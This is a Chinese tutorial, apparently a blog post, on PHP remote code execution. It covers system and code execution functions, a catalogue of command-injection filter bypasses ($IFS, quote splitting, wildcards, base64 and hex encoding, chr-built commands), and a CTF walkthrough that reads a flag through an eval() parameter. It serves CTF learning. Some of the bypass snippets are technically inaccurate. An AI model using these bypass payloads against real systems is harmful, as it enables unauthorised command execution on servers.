当前位置: 首页 > news >正文

Web三漏洞学习(其三:rce漏洞)

靶场:NSSCTF

三、RCE漏洞

1、概述

在Web应用开发中会让应用调用代码执行函数系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞

所以常见的RCE漏洞函数又分为代码执行函数系统命令执行函数

2、常见RCE漏洞函数

<1>系统命令执行函数

(这些函数用于在服务器上执行操作系统级别的命令,比如在Linux上运行ls列出目录内容,或者在Windows上运行dir

system(): 能将字符串作为OS命令执行,且返回命令执行结果,即执行系统命令,并将输出显示到屏幕上

例如

system("ls -l");

这条命令会在服务器上运行ls -l列出当前目录下的文件文件夹,并将结果显示到屏幕上

exec():能将字符串作为OS命令执行,但只返回执行结果的最后一行(约等于无回显)(执行系统命令,但不会直接显示输出。输出可以被捕获到一个变量中)

$output = [];
exec("ls -l", $output);
print_r($output);

这条命令会在服务器上运行ls -l,并将输出存储$output数组中,可以通过print_r查看输出内容 

shell_exec():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上,即执行系统命令,并将输出作为字符串返回

例如

$output = shell_exec("ls -l");
echo $output;

这条命令会在服务器上运行ls -l,并将输出作为字符串返回,可以通过echo将结果显示出来。

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上,即执行系统命令,并将原始输出直接输出到屏幕上

例如

passthru("ls -l");

这条命令会在服务器上运行ls -l,并将原始输出直接显示在屏幕上,不会进行任何处理。

popen():打开进程文件指针 ,也就是打开一个进程管道,用于执行系统命令,并可以读取或写入数据。

例如

$handle = popen("ls -l", "r");
$output = fread($handle, 2096);
pclose($handle);
echo $output;

这条命令会在服务器上运行ls -l,并通过popen打开一个管道,你可以通过fread读取输出内容

proc_open():与上面的popen()类似

pcntl_exec():在当前进程空间执行指定程序,其为 PHP 中的一个函数,用于在当前进程空间中执行指定的程序。它会替换当前进程的代码,而不是启动一个新的进程。这意味着当前 PHP 脚本会被中断,新的程序会在同一个进程中运行。

例如假设我有一个 PHP 脚本,我想在其中执行一个外部程序(比如 ls 命令)

<?php
// 使用 pcntl_exec 执行外部程序
pcntl_exec('/bin/ls', ['-l', '/var/www/html']);
?>

/bin/ls 是要执行的程序路径

['-l', '/var/www/html'] 是传递给程序的参数,表示以长格式列出 /var/www/html 目录下的文件 

" : 反引号内的字符串会被解析为OS命令。在 PHP 中用于执行系统命令。反引号内的字符串会被解析为操作系统命令,并将命令的输出作为字符串返回。

例如假设我有一个 PHP 脚本,你想在其中执行一个系统命令(比如 ls 命令)并捕获输出

<?php
// 使用反引号执行系统命令并捕获输出
$output = `ls -l /var/www/html`;
echo $output;
?>

`ls -l /var/www/html` 是要执行的系统命令;

反引号内的命令会被执行,输出会被存储到 $output 变量中;

使用 echo 输出捕获的内容 。

<2>代码执行函数

(这些函数用于在服务器上执行PHP代码其他编程语言代码。它们可以让攻击者直接执行恶意代码,而不仅仅是系统命令)

eval():将字符串作为php代码执行(或者说执行字符串中的php代码)

例如

$code = "echo 'Hello, World!';";
eval($code);

这条命令会将字符串$code中的PHP代码执行,输出Hello, World!

assert():也是将字符串作为php代码执行(或执行字符串中的php代码,与eval()类似)

例如

$code = "echo 'Hello, World!';";
assert($code);

这条命令会将字符串$code中的PHP代码执行,输出Hello, World! 

preg_replace():这则匹配替换字符串

create_function():主要创建匿名函数,并执行其中的代码

例如

$code = "echo 'Hello, World!';";
$func = create_function('', $code);
$func();

这条命令会创建一个匿名函数,将字符串$code中的PHP代码作为函数体,然后调用这个函数,输出Hello, World! 

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数,即调用一个用户定义的函数

例如

function my_function() {echo 'Hello, World!';
}
call_user_func('my_function');

这条命令会调用my_function函数,输出Hello, World! 

call_user_func_arry():回调函数,第一个参数为函数名,第二个参数为函数的参数,即调用一个用户定义的函数,并传递参数。

例如

function my_function($name) {echo "Hello, $name!";
}
call_user_func_array('my_function', ['World']);

这条命令会调用my_function函数,并传递参数'World',输出Hello, World! 

可变函数:若变量有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行

通俗的理解:

想象一下,你有一个遥控器,可以控制一台电视。系统命令执行函数就像是遥控器上的按钮,你可以按这些按钮来让电视执行某些操作,比如换台、调节音量等。而代码执行函数就像是直接控制电视内部的电路板,你可以让电视做任何你想做的事情,比如显示自定义的图像或播放自定义的音频

3、RCE绕过

管道符 绕过

如果管道符(|)被过滤,可以使用分号(;)、双与(&&)或双或(||

管道符实例描述
;A;B无论真假,A与B都执行
&A&B无论真假,A与B都执行
&&A&&BA为真时才执行B,否则只执行A
|A|B显示B的执行结果
||A||BA为假时才执行B,否则只执行A

空格过滤 绕过

如果空格被过滤,可以使用$IFS、制表符(%09)或大括号({}

以下可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,/flag}

反斜杠\ 绕过

如果某些命令或字符被过滤,可以使用反斜杠(\)来绕过

//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /

取反 绕过

通过取反操作来生成目标字符串

$a = "cat";
$b = ~$a; // 取反操作
$cmd = $b;

异或 绕过

通过异或操作来生成目标字符串

$a = "cat";
$b = $a ^ "dog"; // 异或操作
$cmd = $b;

自增 绕过

通过自增操作来生成目标字符串

$a = "ca";
$a++; // 自增操作
$cmd = $a;

黑名单 绕过

如果某些命令或函数被过滤,可以尝试变量拼接或内联执行

// 原始命令
$cmd = "cat /flag";
// 绕过
$b = "ag";
$cmd = "cat /fl$b";

正则匹配 绕过

如果某些字符或模式被正则过滤,可以使用通配符或正则表达式

// 原始命令
$cmd = "cat /flag";
// 绕过
$cmd = "cat /f???";
// 或者
$cmd = "cat /fl[a-z]{3}";

引号绕过
    //如cat、ls被过滤ca""t /flagl's' /

cat替换命令
morelesscattac
headtailvivim
nlodsortuniq
tac与cat相反,按行反向输出
more按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less与more类似
tail查看文件末几行
head查看文件首几行
nl在cat查看文件的基础上显示行号
od以二进制方式读文件,od -A d -c /flag转人可读字符
xxd以二进制方式读文件,同时有可读字符显示
sort排序文件
uniq报告或删除文件的重复行
file -f报错文件内容
grep过滤查找字符串,grep flag /flag
base编码绕过

Base64编码可以将命令编码为ASCII字符串,然后在目标系统上解码并执行

假设过滤器会过滤掉某些字符,可以使用Base64编码

$encoded_cmd = "Y2F0IC9mbGFn"; // Base64编码后的 "cat /flag"
$decoded_cmd = base64_decode($encoded_cmd);
system($decoded_cmd);

Hex编码绕过

Hex编码可以将命令编码为十六进制字符串,然后在目标系统上解码并执行

假设过滤器会过滤掉某些字符,可以使用Hex编码

$hex_cmd = "636174202f666c6167"; // Hex编码后的 "cat /flag"
$decoded_cmd = hex2bin($hex_cmd);
system($decoded_cmd);

回溯 绕过

回溯绕过通常用于绕过对某些字符或命令的直接过滤。通过构造复杂的表达式,让过滤器在解析时出现错误或绕过

假设过滤器会直接过滤掉 cat 命令,可以使用回溯绕过:

$cmd = "ca"."t /flag";
system($cmd);

无回显RCE

将执行结果输出到文件中,再访问文件

// 原始命令
$cmd = "ls -l";
// 绕过
$cmd = "ls -l > /tmp/output";
// 然后访问 /tmp/output 文件

无参数RCE

利用某些函数不需要参数的特性

// 原始命令
$cmd = "id";
// 绕过
$cmd = "id > /tmp/output";
无字母数字RCE

假设过滤器会过滤掉所有字母和数字,可以使用chr函数来生成目标命令

<?php
// 使用 chr 函数生成字符
$cmd = chr(99) . chr(97) . chr(116) . " " . chr(47) . chr(102) . chr(108) . chr(97) . chr(103);// 执行命令
system($cmd);
?>

代码解释:

<1>这里的char函数

chr函数用于生成指定ASCII值的字符;

例如:

  • chr(99) 生成字符 c

  • chr(97) 生成字符 a

  • chr(116) 生成字符 t

  • chr(47) 生成字符 /

  • chr(102) 生成字符 f

  • chr(108) 生成字符 l

  • chr(97) 生成字符 a

  • chr(103) 生成字符

 (其实就是从字符a开始,对应char(97),依次往后递增:b是char(98);c是char(99);d是char(100)...)

<2>字符串拼接

使用点 (.) 将生成的字符拼接成完整的命令字符串

<3>执行命令

使用system函数执行拼接后的命令

假设目标系统中有一个文件/flag,运行上述代码后,会输出/flag文件的内容

 总之通过使用chr函数生成字符,并通过字符串拼接构造命令,可以在不使用字母和数字的情况下实现无字母数字RCE。这种方法可以有效绕过严格的输入过滤器

理论完了接下来就是实践

【SWPUCTF 2021 新生赛】easyrce

查看源代码

可以看到源码使用了eval()函数接收GET传参的url参数(上面说过,eval()函数会将字符串作为php代码执行)

这样就比较简单了,只要题目没有对我们的输入内容进行严格的过滤,直接利用eval()函数执行php恶意代码就可以达到我们的目的

比如我现在利用phpinfo();语句查看php信息

可以看到PHP配置信息,说明服务器执行了phpinfo()函数(即上面所说代码执行函数

假如现在我再换一个系统命令执行函数(system()     命令:?url=system("ls -l");

可以看到列出了当前目录下的文件和文件夹 (即上面所说系统命令执行函数

那既然解题时是为了flag而来,就应该想想怎么利用这些东西来get flag

这里说一下这两个函数的区别:

system("ls /");

这个命令表示列出根目录下的文件和名称 ;

system("ls -l");

而这个命令表示的是以长格式列出当前工作目录下的文件目录详细信息

然后我刚刚用的是这个命令:system("ls -l");

回显这一串

这表示的是当前工作目录下只有一个文件index.php,还显示了该文件的详细信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的详细信息)

那这样说的话假如我换命令system("ls /l"); 也就是列出根目录下的文件和名称, 回显肯定是不同的,那就执行一下看看:

可以看到回显出的根目录,其的确与回显当前工作目录文件名的命令不一样,这说明PHP脚本的当前工作目录不是根目录/),而是某个特定的目录,例如脚本所在的目录

这样也就提醒了我以后尽量先用找根目录的命令(system("ls /");),这样一层层往里剥

诶其中的flllllaaaaaaggggggg目录明显就是提醒flag所在,那就针对这个目录即可

然后由于比较简单,一 cat就出flag了(Linux的OS命令cat:显示文件内容)

相关文章:

  • MQTTClient.c的线程模型与异步事件驱动
  • java面向对象编程【基础篇】之基础概念
  • 基于大模型的腹股沟疝诊疗全流程风险预测与方案制定研究报告
  • 熵权法+TOPSIS+灰色关联度综合算法(Matlab实现)
  • 利用大模型实现地理领域文档中英文自动化翻译
  • leetcode222 完全二叉树的节点个数
  • 火山引擎的生态怎么样
  • LeetCode每日一题4.18
  • 《深入探秘JavaScript原型链与继承机制:解锁前端编程的核心密码》
  • 探索 Flowable 后端表达式:简化流程自动化
  • 城市街拍暗色电影胶片风格Lr调色教程,手机滤镜PS+Lightroom预设下载!
  • 如何快速构建跨系统的数据同步机制?
  • 鸿蒙-跨设备互通,设备互通提供跨设备的相机、扫描、图库访问能力,平板或2in1设备可以调用手机的相机、扫描、图库等功能。
  • Motion Tracks:少样本模仿学习中人-机器人之间迁移的统一表征
  • rulego-server是一个开源程序,是一个轻量级、无依赖性的工作流自动化平台。支持 iPaaS、流式计算和 AI 能力。
  • 消防营区管控:从智能仓储、装备管理、应急物资调用等多维度出发
  • Kotlin协程Semaphore withPermit约束并发任务数量
  • 华为仓颉智能体开发框架 Cangjie Magic深度解析
  • AI绘制流程图,方法概述
  • 解锁C++ gRPC:快速入门指南
  • 山西省朔州市政府党组成员、副市长李润军接受审查调查
  • 首开股份:去年亏损约81.4亿元,是公司发展史上极其困难的一年
  • 搜索市场战火延伸:OpenAI虎视眈眈,欲收购谷歌浏览器
  • 受贿超8.22亿,新疆维吾尔自治区党委原副书记李鹏新一审被判死缓
  • 国际金价冲上3500美元,本月已涨超12%!分析人士提醒:警惕短期多头获利了结
  • 复旦大学附属中山医院也有儿科了,门诊将于下月底开业